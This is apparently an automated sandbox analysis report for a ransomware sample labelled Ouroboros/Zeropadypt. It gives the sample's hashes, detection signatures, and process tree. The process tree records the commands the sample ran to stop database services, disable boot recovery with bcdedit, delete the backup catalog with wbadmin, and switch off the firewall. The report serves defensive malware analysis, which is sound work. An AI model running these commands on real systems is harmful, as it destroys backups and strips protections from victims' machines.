Analysis

  • max time kernel
    161s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    12-02-2022 00:22

General

  • Target

    d20add24db21888a00129eca3e0313d86faebfed31aab4f273e8e714ed1bfbbd.exe

  • Size

    994KB

  • MD5

    1a01257e979825ddd98a39b8f2f9994a

  • SHA1

    d77114c5e32c3cc5904eea994ad23976c01d4c5c

  • SHA256

    d20add24db21888a00129eca3e0313d86faebfed31aab4f273e8e714ed1bfbbd

  • SHA512

    7bd5e7f0d3e9dac8cab9374fc3c8afcce5e92dcfd4ae91db6d40bdfa8f12ad969e3b7b0d39e4e717c85d4c2ea6ca421e01a93055f77bcd84b94c6dfabaff43c2

Malware Config

Signatures

  • Ouroboros/Zeropadypt

    Ransomware family based on open-source CryptoWire.

  • Modifies Windows Firewall 1 TTPs
  • Drops desktop.ini file(s) 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 64 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d20add24db21888a00129eca3e0313d86faebfed31aab4f273e8e714ed1bfbbd.exe
    "C:\Users\Admin\AppData\Local\Temp\d20add24db21888a00129eca3e0313d86faebfed31aab4f273e8e714ed1bfbbd.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:460
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net stop SQLWriter
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3488
      • C:\Windows\SysWOW64\net.exe
        net stop SQLWriter
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1652
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop SQLWriter
          4⤵
            PID:3344
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c net stop SQLBrowser
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3820
        • C:\Windows\SysWOW64\net.exe
          net stop SQLBrowser
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:228
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop SQLBrowser
            4⤵
              PID:992
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2832
          • C:\Windows\SysWOW64\net.exe
            net stop MSSQLSERVER
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1048
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop MSSQLSERVER
              4⤵
                PID:3280
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c net stop MSSQL$CONTOSO1
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3500
            • C:\Windows\SysWOW64\net.exe
              net stop MSSQL$CONTOSO1
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2248
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop MSSQL$CONTOSO1
                4⤵
                  PID:4016
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c net stop MSDTC
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1640
              • C:\Windows\SysWOW64\net.exe
                net stop MSDTC
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3456
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop MSDTC
                  4⤵
                    PID:1624
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                  PID:3200
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no
                  2⤵
                    PID:2636
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet
                    2⤵
                      PID:2132
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c net stop SQLSERVERAGENT
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:748
                      • C:\Windows\SysWOW64\net.exe
                        net stop SQLSERVERAGENT
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2852
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 stop SQLSERVERAGENT
                          4⤵
                            PID:3780
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
                        2⤵
                          PID:4092
                          • C:\Windows\SysWOW64\net.exe
                            net stop MSSQLSERVER
                            3⤵
                              PID:3556
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop MSSQLSERVER
                                4⤵
                                  PID:2616
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c net stop vds
                              2⤵
                                PID:3056
                                • C:\Windows\SysWOW64\net.exe
                                  net stop vds
                                  3⤵
                                    PID:2324
                                    • C:\Windows\SysWOW64\net1.exe
                                      C:\Windows\system32\net1 stop vds
                                      4⤵
                                        PID:2748
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c netsh advfirewall set currentprofile state off
                                    2⤵
                                      PID:2508
                                      • C:\Windows\SysWOW64\netsh.exe
                                        netsh advfirewall set currentprofile state off
                                        3⤵
                                          PID:3536
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c netsh firewall set opmode mode=disable
                                        2⤵
                                          PID:756
                                          • C:\Windows\SysWOW64\netsh.exe
                                            netsh firewall set opmode mode=disable
                                            3⤵
                                              PID:3564
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k wusvcs -p
                                          1⤵
                                            PID:1248
                                          • C:\Windows\system32\MusNotifyIcon.exe
                                            %systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
                                            1⤵
                                            • Checks processor information in registry
                                            PID:2496
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k wusvcs -p
                                            1⤵
                                              PID:636

                                            Network

                                            MITRE ATT&CK Matrix ATT&CK v6

                                            Persistence

                                            Modify Existing Service

                                            1
                                            T1031

                                            Discovery

                                            Query Registry

                                            1
                                            T1012

                                            System Information Discovery

                                            1
                                            T1082

                                            Replay Monitor

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                                            Downloads